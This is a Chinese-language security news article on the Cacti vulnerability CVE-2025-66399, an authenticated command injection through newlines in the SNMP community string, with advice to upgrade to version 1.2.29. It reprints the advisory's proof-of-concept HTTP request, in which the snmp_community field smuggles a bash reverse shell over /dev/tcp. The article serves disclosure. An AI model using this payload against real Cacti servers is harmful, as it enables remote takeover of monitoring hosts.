流行的开源网络绘图解决方案Cacti中发现了一个高严重性安全漏洞。该漏洞编号为 CVE-2025-66399,可使Cacti安装遭遇远程代码执行(RCE),攻击者可能借此完全控制监控服务器。
问题核心在于Cacti对 SNMP团体字符串(用于查询网络设备的凭证)的处理方式。当管理员或具有设备编辑权限的用户保存设备时,应用程序未能清理输入中的危险字符。
安全公告明确指出“SNMP设备配置功能中存在输入验证缺陷”。具体而言,负责验证团体字符串(snmp_community)的代码缺少关键过滤器:用于 sanitization 的正则表达式“被有意留空(””),导致验证失效”。
这一疏忽意味着“换行符未被修改”。
由于系统未剥离这些字符,攻击者可注入恶意命令,后端系统会将其解释为单独指令。
“已认证的Cacti用户可提供包含控制字符(包括换行符)的特制SNMP团体字符串,这些字符会被接受、原样存储在数据库中,并在后续嵌入后端SNMP操作。”
当Cacti使用下游工具(如snmpwalk或包装器)轮询设备时,注入的换行符会破坏命令结构。“在下游SNMP工具或包装器将换行分隔的令牌解释为命令边界的环境中,这可能导致以Cacti进程权限执行非预期命令。”
公告提供了“特制多行团体字符串”存储方式的清晰示例。攻击者可注入如下载荷:
POST /cacti/host.php?header=false HTTP/1.1
Host: localhost
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate, br
__csrf_magic=sid%3A3a2d0b3cddfb5912184b4b5130bb698650fc35d2%2C1764272981&description=aaa&hostname=127.0.0.1&location=&poller_id=1&site_id=1&host_template_id=0&device_threads=1&snmp_version=2&snmp_community=public%0abash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f127.0.0.1%2f4444%200%3e%261'%0a%23&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=0&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1¬es=&external_id=&id=3&save_component_host=1&graph_template_id=297&snmp_query_id=2&reindex_method=1&action=save
结果,攻击者可执行具有Cacti进程权限的任意命令。
该漏洞后果严重,成功利用可导致:
- 未授权修改监控数据
- 执行系统级命令
- 未授权文件写入
- Cacti服务器可能被完全攻陷
开发团队已发布修补程序。管理员需立即升级至 1.2.29版本。








发表评论
您还未登录,请先登录。
登录